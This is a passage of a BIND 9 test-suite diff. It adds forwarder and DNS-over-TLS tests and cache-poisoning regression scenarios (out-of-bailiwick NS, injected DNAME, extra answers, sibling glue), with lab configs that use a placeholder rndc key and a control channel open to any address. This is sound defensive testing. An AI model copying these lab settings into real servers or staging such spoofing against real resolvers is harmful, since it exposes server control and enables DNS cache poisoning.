+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+local.tld.		3600	IN	SOA	. . 0 0 0 0 0
+local.tld.		3600	IN	NS	localhost.
+sub.local.tld.		3600	IN	NS	ns.sub.local.tld.
+ns.sub.local.tld.	3600	IN	A	10.53.0.8
diff --git a/bin/tests/system/forward/ns9/named1.conf.in b/bin/tests/system/forward/ns9/named1.conf.in
new file mode 100644
index 0000000000..54fed8f761
--- /dev/null
+++ b/bin/tests/system/forward/ns9/named1.conf.in
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.9;
+	notify-source 10.53.0.9;
+	transfer-source 10.53.0.9;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.9; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	edns-udp-size 1232;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+server 10.53.0.10 {
+	edns no;
+};
+
+server 10.53.0.11 {
+	edns no;
+};
+
+zone "." {
+	type hint;
+	file "root.db";
+};
+
+zone "attacksecuredomain.net." {
+	type forward;
+	forwarders { 10.53.0.10; };
+};
+
+zone "attacksecuredomain.net2." {
+	type forward;
+	forwarders { 10.53.0.10; };
+};
+
+zone "attacksecuredomain.net3." {
+	type forward;
+	forwarders { 10.53.0.11; };
+};
+
+zone "local.net." {
+	type primary;
+	file "local.net.db";
+	forwarders {};
+};
diff --git a/bin/tests/system/forward/ns9/named2.conf.in b/bin/tests/system/forward/ns9/named2.conf.in
new file mode 100644
index 0000000000..34f7eeae07
--- /dev/null
+++ b/bin/tests/system/forward/ns9/named2.conf.in
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.9;
+	notify-source 10.53.0.9;
+	transfer-source 10.53.0.9;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.9; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	edns-udp-size 1232;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+server 10.53.0.10 {
+	edns no;
+};
+
+server 10.53.0.11 {
+	edns no;
+};
+
+zone "." {
+	type hint;
+	file "root.db";
+};
+
+zone "attacksecuredomain.net." {
+	type forward;
+	forward only;
+	forwarders { 10.53.0.10; };
+};
+
+zone "attacksecuredomain.net2." {
+	type forward;
+	forward only;
+	forwarders { 10.53.0.10; };
+};
+
+zone "attacksecuredomain.net3." {
+	type forward;
+	forward only;
+	forwarders { 10.53.0.11; };
+};
+
+zone "local.net." {
+	type primary;
+	file "local.net.db";
+	forwarders {};
+};
diff --git a/bin/tests/system/forward/ns9/named3.conf.in b/bin/tests/system/forward/ns9/named3.conf.in
new file mode 100644
index 0000000000..c07281fdd1
--- /dev/null
+++ b/bin/tests/system/forward/ns9/named3.conf.in
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.9;
+	notify-source 10.53.0.9;
+	transfer-source 10.53.0.9;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.9; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	edns-udp-size 1232;
+	forward only;
+	forwarders { 10.53.0.10; };
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+server 10.53.0.10 {
+	edns no;
+};
+
+zone "." {
+	type hint;
+	file "root.db";
+};
+
+zone "local.net." {
+	type primary;
+	file "local.net.db";
+	forwarders {};
+};
diff --git a/bin/tests/system/forward/ns9/named4.conf.in b/bin/tests/system/forward/ns9/named4.conf.in
new file mode 100644
index 0000000000..c06b36133c
--- /dev/null
+++ b/bin/tests/system/forward/ns9/named4.conf.in
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.9;
+	notify-source 10.53.0.9;
+	transfer-source 10.53.0.9;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.9; };
+	listen-on-v6 { none; };
+	dnssec-validation no;
+	edns-udp-size 1232;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+server 10.53.0.10 {
+	edns no;
+};
+
+zone "." {
+	type hint;
+	file "root.db";
+};
+
+zone "local.tld." {
+	type primary;
+	file "local.tld.db";
+};
diff --git a/bin/tests/system/forward/ns9/root.db b/bin/tests/system/forward/ns9/root.db
new file mode 100644
index 0000000000..2cbdff5977
--- /dev/null
+++ b/bin/tests/system/forward/ns9/root.db
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+.			NS	a.root-servers.nil.
+a.root-servers.nil.	A	10.53.0.1
diff --git a/bin/tests/system/forward/rfc1918-inherited.conf b/bin/tests/system/forward/rfc1918-inherited.conf
index 3c310d0491..66569dcf0a 100644
--- a/bin/tests/system/forward/rfc1918-inherited.conf
+++ b/bin/tests/system/forward/rfc1918-inherited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/forward/rfc1918-notinherited.conf b/bin/tests/system/forward/rfc1918-notinherited.conf
index d3febc1c2d..d6d5c2d5d1 100644
--- a/bin/tests/system/forward/rfc1918-notinherited.conf
+++ b/bin/tests/system/forward/rfc1918-notinherited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/forward/setup.sh b/bin/tests/system/forward/setup.sh
index 504bf4a864..ddd56c9581 100644
--- a/bin/tests/system/forward/setup.sh
+++ b/bin/tests/system/forward/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,12 +15,36 @@
 
 $SHELL clean.sh
 copy_setports ns1/named.conf.in ns1/named.conf
-copy_setports ns2/named.conf.in ns2/named.conf
+
+if $FEATURETEST --have-fips-dh
+then
+    copy_setports ns2/named-tls.conf.in ns2/named-tls.conf
+    copy_setports ns2/options-tls.conf.in ns2/options-tls.conf
+    copy_setports ns2/named.conf.in ns2/named.conf
+else
+    cp /dev/null ns2/named-tls.conf
+    cp /dev/null ns2/options-tls.conf
+    copy_setports ns2/named.conf.in ns2/named.conf
+fi
+
 copy_setports ns3/named1.conf.in ns3/named.conf
-copy_setports ns4/named.conf.in ns4/named.conf
+
+if $FEATURETEST --have-fips-dh
+then
+    copy_setports ns4/named-tls.conf.in ns4/named-tls.conf
+    copy_setports ns4/options-tls.conf.in ns4/options-tls.conf
+    copy_setports ns4/named.conf.in ns4/named.conf
+else
+    cp /dev/null ns4/named-tls.conf
+    cp /dev/null ns4/options-tls.conf
+    copy_setports ns4/named.conf.in ns4/named.conf
+fi
+
 copy_setports ns5/named.conf.in ns5/named.conf
 copy_setports ns7/named.conf.in ns7/named.conf
 copy_setports ns8/named.conf.in ns8/named.conf
+copy_setports ns9/named1.conf.in ns9/named.conf
+copy_setports ns10/named.conf.in ns10/named.conf
 
 (
     cd ns1
diff --git a/bin/tests/system/forward/tests.sh b/bin/tests/system/forward/tests.sh
index 5d80ac2e94..5605c78d19 100644
--- a/bin/tests/system/forward/tests.sh
+++ b/bin/tests/system/forward/tests.sh
@@ -1,12 +1,18 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 #shellcheck source=conf.sh
 . ../conf.sh
 
@@ -15,7 +21,7 @@ dig_with_opts() (
 )
 
 sendcmd() (
-	send 10.53.0.6 "$EXTRAPORT1"
+	send "$1" "$EXTRAPORT1"
 )
 
 rndccmd() {
@@ -67,13 +73,36 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that a forward zone works ($n)"
-ret=0
-dig_with_opts +noadd +noauth txt.example1. txt @$hidden > dig.out.$n.hidden || ret=1
-dig_with_opts +noadd +noauth txt.example1. txt @$f2 > dig.out.$n.f2 || ret=1
-digcomp dig.out.$n.hidden dig.out.$n.f2 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+echo_i "checking that DoT expired certificate does not work ($n)"
+if $FEATURETEST --have-fips-dh
+then
+   ret=0
+   nextpart ns4/named.run >/dev/null
+   dig_with_opts +noadd +noauth txt.example4. txt @$hidden > dig.out.$n.hidden || ret=1
+   dig_with_opts +noadd +noauth txt.example4. txt @$f2 > dig.out.$n.f2 || ret=1
+   digcomp dig.out.$n.hidden dig.out.$n.f2 >/dev/null 2>&1 && ret=1
+   wait_for_log 1 "TLS peer certificate verification failed" ns4/named.run || ret=1
+   if [ $ret != 0 ]; then echo_i "failed"; fi
+   status=$((status+ret))
+else
+   echo_i "skipped."
+fi
+
+n=$((n+1))
+echo_i "checking that a forward zone works (DoT insecure) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    ret=0
+    nextpart ns4/named.run >/dev/null
+    dig_with_opts +noadd +noauth txt.example1. txt @$hidden > dig.out.$n.hidden || ret=1
+    dig_with_opts +noadd +noauth txt.example1. txt @$f2 > dig.out.$n.f2 || ret=1
+    digcomp dig.out.$n.hidden dig.out.$n.f2 || ret=1
+    wait_for_log 1 "TLS client session created for 10.53.0.2" ns4/named.run || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+else
+   echo_i "skipped."
+fi
 
 n=$((n+1))
 echo_i "checking that forwarding doesn't spontaneously happen ($n)"
@@ -85,13 +114,53 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that a forward zone with no specified policy works ($n)"
-ret=0
-dig_with_opts +noadd +noauth txt.example3. txt @$hidden > dig.out.$n.hidden || ret=1
-dig_with_opts +noadd +noauth txt.example3. txt @$f2 > dig.out.$n.f2 || ret=1
-digcomp dig.out.$n.hidden dig.out.$n.f2 || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+echo_i "checking that a forward zone with no specified policy works (DoT forward-secrecy) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    ret=0
+    nextpart ns4/named.run >/dev/null
+    dig_with_opts +noadd +noauth txt.example3. txt @$hidden > dig.out.$n.hidden || ret=1
+    dig_with_opts +noadd +noauth txt.example3. txt @$f2 > dig.out.$n.f2 || ret=1
+    digcomp dig.out.$n.hidden dig.out.$n.f2 || ret=1
+    wait_for_log 1 "TLS client session created for 10.53.0.2" ns4/named.run || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+else
+   echo_i "skipped."
+fi
+
+
+n=$((n+1))
+echo_i "checking that DoT remote-hostname works ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    ret=0
+    nextpart ns4/named.run >/dev/null
+    dig_with_opts +noadd +noauth txt.example8. txt @$hidden > dig.out.$n.hidden || ret=1
+    dig_with_opts +noadd +noauth txt.example8. txt @$f2 > dig.out.$n.f2 || ret=1
+    digcomp dig.out.$n.hidden dig.out.$n.f2 >/dev/null 2>&1 || ret=1
+    wait_for_log 1 "TLS client session created for 10.53.0.2" ns4/named.run || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+else
+   echo_i "skipped."
+fi
+
+n=$((n+1))
+echo_i "checking that DoT bad remote-hostname does not work ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    ret=0
+    nextpart ns4/named.run >/dev/null
+    dig_with_opts +noadd +noauth txt.example9. txt @$hidden > dig.out.$n.hidden || ret=1
+    dig_with_opts +noadd +noauth txt.example9. txt @$f2 > dig.out.$n.f2 || ret=1
+    digcomp dig.out.$n.hidden dig.out.$n.f2 >/dev/null 2>&1 && ret=1
+    wait_for_log 1 "TLS peer certificate verification failed" ns4/named.run || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+else
+   echo_i "skipped."
+fi
 
 n=$((n+1))
 echo_i "checking that a forward only doesn't recurse ($n)"
@@ -108,27 +177,32 @@ echo_i "checking for negative caching of forwarder response ($n)"
 ret=0
 dig_with_opts nonexist. txt @10.53.0.5 > dig.out.$n.f2 || ret=1
 grep "status: NXDOMAIN" dig.out.$n.f2 > /dev/null || ret=1
-stop_server forward ns4 || ret=1
+stop_server ns4 || ret=1
 dig_with_opts nonexist. txt @10.53.0.5 > dig.out.$n.f2 || ret=1
 grep "status: NXDOMAIN" dig.out.$n.f2 > /dev/null || ret=1
-start_server --restart --noclean --port "${PORT}" forward ns4 || ret=1
+start_server --restart --noclean --port "${PORT}" ns4 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 check_override() (
-    dig_with_opts 1.0.10.in-addr.arpa TXT @10.53.0.4 > dig.out.$n.f2 &&
+    dig_with_opts 1.0.10.in-addr.arpa TXT @$f2 > dig.out.$n.f2 &&
     grep "status: NOERROR" dig.out.$n.f2 > /dev/null &&
-    dig_with_opts 2.0.10.in-addr.arpa TXT @10.53.0.4 > dig.out.$n.f2 &&
+    dig_with_opts 2.0.10.in-addr.arpa TXT @$f2 > dig.out.$n.f2 &&
     grep "status: NXDOMAIN" dig.out.$n.f2 > /dev/null
 )
 
 n=$((n+1))
-echo_i "checking that forward only zone overrides empty zone ($n)"
-ret=0
-# retry loop in case the server restart above causes transient failure
-retry_quiet 10 check_override || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+echo_i "checking that forward only zone overrides empty zone (DoT forward-secrecy-mutual-tls) ($n)"
+if $FEATURETEST --have-fips-dh
+then
+    ret=0
+    # retry loop in case the server restart above causes transient failure
+    retry_quiet 10 check_override || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+else
+    echo_i "skipped."
+fi
 
 n=$((n+1))
 echo_i "checking that DS lookups for grafting forward zones are isolated ($n)"
@@ -164,7 +238,7 @@ count_sent() (
 	logfile="$1"
 	start_pattern="$2"
 	pattern="$3"
-	nextpartpeek "$logfile" | tr -d '\r' | sed -n "/$start_pattern/,/^\$/p" | grep -c "$pattern"
+	nextpartpeek "$logfile" | sed -n "/$start_pattern/,/^\$/p" | grep -c "$pattern"
 )
 
 check_sent() (
@@ -183,7 +257,7 @@ n=$((n+1))
 echo_i "checking that a forwarder timeout prevents it from being reused in the same fetch context ($n)"
 ret=0
 # Make ans6 receive queries without responding to them.
-echo "//" | sendcmd
+echo "//" | sendcmd 10.53.0.6
 # Query for a record in a zone which is forwarded to a non-responding forwarder
 # and is delegated from the root to check whether the forwarder will be retried
 # when a delegation is encountered after falling back to full recursive
@@ -206,9 +280,9 @@ received_pattern="received packet from 10\.53\.0\.1"
 start_pattern="sending packet to 10\.53\.0\.1"
 retry_quiet 5 wait_for_log ns7/named.run "$received_pattern" || ret=1
 check_sent 1 ns7/named.run "$start_pattern" ";\.[[:space:]]*IN[[:space:]]*NS$" || ret=1
-sent=$(grep -c "10.53.0.7#.* (.): query '\./NS/IN' approved" ns4/named.run)
+sent=$(grep -c "10.53.0.7#.* (.): query '\./NS/IN' approved" ns4/named.run || true)
 [ "$sent" -eq 0 ] || ret=1
-sent=$(grep -c "10.53.0.7#.* (.): query '\./NS/IN' approved" ns1/named.run)
+sent=$(grep -c "10.53.0.7#.* (.): query '\./NS/IN' approved" ns1/named.run || true)
 [ "$sent" -eq 1 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -233,22 +307,166 @@ grep "status: SERVFAIL" dig.out.$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-n=$((n+1))
-echo_i "checking switch from forwarding to normal resolution while chasing DS ($n)"
-ret=0
-copy_setports ns3/named2.conf.in ns3/named.conf
-rndccmd 10.53.0.3 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
-sleep 1
-sendcmd << EOF
+# Prepare ans6 for the chasing DS tests.
+sendcmd 10.53.0.6 << EOF
 /ns1.sld.tld/A/
 300 A 10.53.0.2
 /sld.tld/NS/
 300 NS ns1.sld.tld.
 /sld.tld/
 EOF
+
+n=$((n+1))
+echo_i "checking switch from forwarding to normal resolution while chasing DS ($n)"
+ret=0
+copy_setports ns3/named2.conf.in ns3/named.conf
+rndccmd 10.53.0.3 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 1
+nextpart ns3/named.run >/dev/null
+dig_with_opts @$f1 xxx.yyy.sld.tld ds > dig.out.$n.f1 || ret=1
+grep "status: SERVFAIL" dig.out.$n.f1 > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+# See [GL #3129].
+# Enable silent mode for ans11.
+echo "1" | sendcmd 10.53.0.11
+n=$((n+1))
+echo_i "checking the handling of hung DS fetch while chasing DS ($n)"
+ret=0
+copy_setports ns3/named2.conf.in ns3/tmp
+sed 's/root.db/root2.db/' ns3/tmp > ns3/named.conf
+rm -f ns3/tmp
+rndccmd 10.53.0.3 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
+rndccmd 10.53.0.3 flush 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 1
 nextpart ns3/named.run >/dev/null
 dig_with_opts @$f1 xxx.yyy.sld.tld ds > dig.out.$n.f1 || ret=1
 grep "status: SERVFAIL" dig.out.$n.f1 > /dev/null || ret=1
+# Disable silent mode for ans11.
+echo "0" | sendcmd 10.53.0.11
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+#
+# Check various spoofed response scenarios. The same tests will be
+# run twice, with "forward first" and "forward only" configurations.
+#
+run_spooftests () {
+    n=$((n+1))
+    echo_i "checking spoofed response scenario 1 - out of bailiwick NS ($n)"
+    ret=0
+    # prime
+    dig_with_opts @10.53.0.9 attackSecureDomain.net > dig.out.$n.prime || ret=1
+    # check 'net' is not poisoned.
+    dig_with_opts @10.53.0.9 diditwork.net. TXT > dig.out.$n.net || ret=1
+    grep '^diditwork\.net\..*TXT.*"recursed"' dig.out.$n.net > /dev/null || ret=1
+    # check 'sub.local.net' is not poisoned.
+    dig_with_opts @10.53.0.9 sub.local.net TXT > dig.out.$n.sub || ret=1
+    grep '^sub\.local\.net\..*TXT.*"recursed"' dig.out.$n.sub > /dev/null || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking spoofed response scenario 2 - inject DNAME/net2. ($n)"
+    ret=0
+    # prime
+    dig_with_opts @10.53.0.9 attackSecureDomain.net2 > dig.out.$n.prime || ret=1
+    # check that net2/DNAME is not cached
+    dig_with_opts @10.53.0.9 net2. DNAME > dig.out.$n.net2 || ret=1
+    grep "ANSWER: 0," dig.out.$n.net2 > /dev/null || ret=1
+    grep "status: NXDOMAIN" dig.out.$n.net2 > /dev/null || ret=1
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking spoofed response scenario 3 - extra answer ($n)"
+    ret=0
+    # prime
+    dig_with_opts @10.53.0.9 attackSecureDomain.net3 > dig.out.$n.prime || ret=1
+    # check extra net3 records are not cached
+    rndccmd 10.53.0.9 dumpdb -cache 2>&1 | sed 's/^/ns9 /' | cat_i
+    for try in 1 2 3 4 5; do
+        lines=$(grep "net3" ns9/named_dump.db | wc -l)
+        if [ ${lines} -eq 0 ]; then
+                sleep 1
+                continue
+        fi
+        [ ${lines} -eq 1 ] || ret=1
+        grep -q '^attackSecureDomain.net3' ns9/named_dump.db || ret=1
+        grep -q '^local.net3' ns9/named_dump.db && ret=1
+    done
+    if [ $ret != 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+}
+
+echo_i "checking spoofed response scenarios with forward first zones"
+run_spooftests
+
+copy_setports ns9/named2.conf.in ns9/named.conf
+rndccmd 10.53.0.9 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
+rndccmd 10.53.0.9 flush 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 1
+
+echo_i "rechecking spoofed response scenarios with forward only zones"
+run_spooftests
+
+#
+# This scenario expects the spoofed response to succeed. The tests are
+# similar to the ones above, but not identical.
+#
+echo_i "rechecking spoofed response scenarios with 'forward only' set globally"
+copy_setports ns9/named3.conf.in ns9/named.conf
+rndccmd 10.53.0.9 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
+rndccmd 10.53.0.9 flush 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 1
+
+n=$((n+1))
+echo_i "checking spoofed response scenario 1 - out of bailiwick NS ($n)"
+ret=0
+# prime
+dig_with_opts @10.53.0.9 attackSecureDomain.net > dig.out.$n.prime || ret=1
+# check 'net' is poisoned.
+dig_with_opts @10.53.0.9 diditwork.net. TXT > dig.out.$n.net || ret=1
+grep '^didItWork\.net\..*TXT.*"if you can see this record the attack worked"' dig.out.$n.net > /dev/null || ret=1
+# check 'sub.local.net' is poisoned.
+dig_with_opts @10.53.0.9 sub.local.net TXT > dig.out.$n.sub || ret=1
+grep '^sub\.local\.net\..*TXT.*"if you see this attacker overrode local delegation"' dig.out.$n.sub > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking spoofed response scenario 2 - inject DNAME/net2. ($n)"
+ret=0
+# prime
+dig_with_opts @10.53.0.9 attackSecureDomain.net2 > dig.out.$n.prime || ret=1
+# check that net2/DNAME is cached
+dig_with_opts @10.53.0.9 net2. DNAME > dig.out.$n.net2 || ret=1
+grep "ANSWER: 1," dig.out.$n.net2 > /dev/null || ret=1
+grep "net2\..*IN.DNAME.net\.example\.lll\." dig.out.$n.net2 > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+#
+# This test doesn't use any forwarder clauses but is here because it
+# is similar to forwarders, as the set of servers that can populate
+# the namespace is defined by the zone content.
+#
+echo_i "rechecking spoofed response scenarios glue below local zone"
+copy_setports ns9/named4.conf.in ns9/named.conf
+rndccmd 10.53.0.9 reconfig 2>&1 | sed 's/^/ns3 /' | cat_i
+rndccmd 10.53.0.9 flush 2>&1 | sed 's/^/ns3 /' | cat_i
+sleep 1
+
+n=$((n+1))
+echo_i "checking sibling glue below zone ($n)"
+ret=0
+# prime
+dig_with_opts @10.53.0.9 sibling.tld > dig.out.$n.prime || ret=1
+# check for glue A record for sub.local.tld is not used
+dig_with_opts @10.53.0.9 sub.local.tld TXT > dig.out.$n.sub || ret=1
+grep "ANSWER: 1," dig.out.$n.sub > /dev/null || ret=1
+grep 'sub\.local\.tld\..*IN.TXT."good"$' dig.out.$n.sub > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
diff --git a/bin/tests/system/forward/tests_sh_forward.py b/bin/tests/system/forward/tests_sh_forward.py
new file mode 100644
index 0000000000..4380a498bf
--- /dev/null
+++ b/bin/tests/system/forward/tests_sh_forward.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_forward(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/forward/ula-inherited.conf b/bin/tests/system/forward/ula-inherited.conf
index 27fc8edc44..1fb94b161a 100644
--- a/bin/tests/system/forward/ula-inherited.conf
+++ b/bin/tests/system/forward/ula-inherited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ula-notinherited.conf b/bin/tests/system/forward/ula-notinherited.conf
index e235d203a5..300001a116 100644
--- a/bin/tests/system/forward/ula-notinherited.conf
+++ b/bin/tests/system/forward/ula-notinherited.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/fromhex.pl b/bin/tests/system/fromhex.pl
index d12789e941..2a229e0804 100644
--- a/bin/tests/system/fromhex.pl
+++ b/bin/tests/system/fromhex.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/genzone.sh b/bin/tests/system/genzone.sh
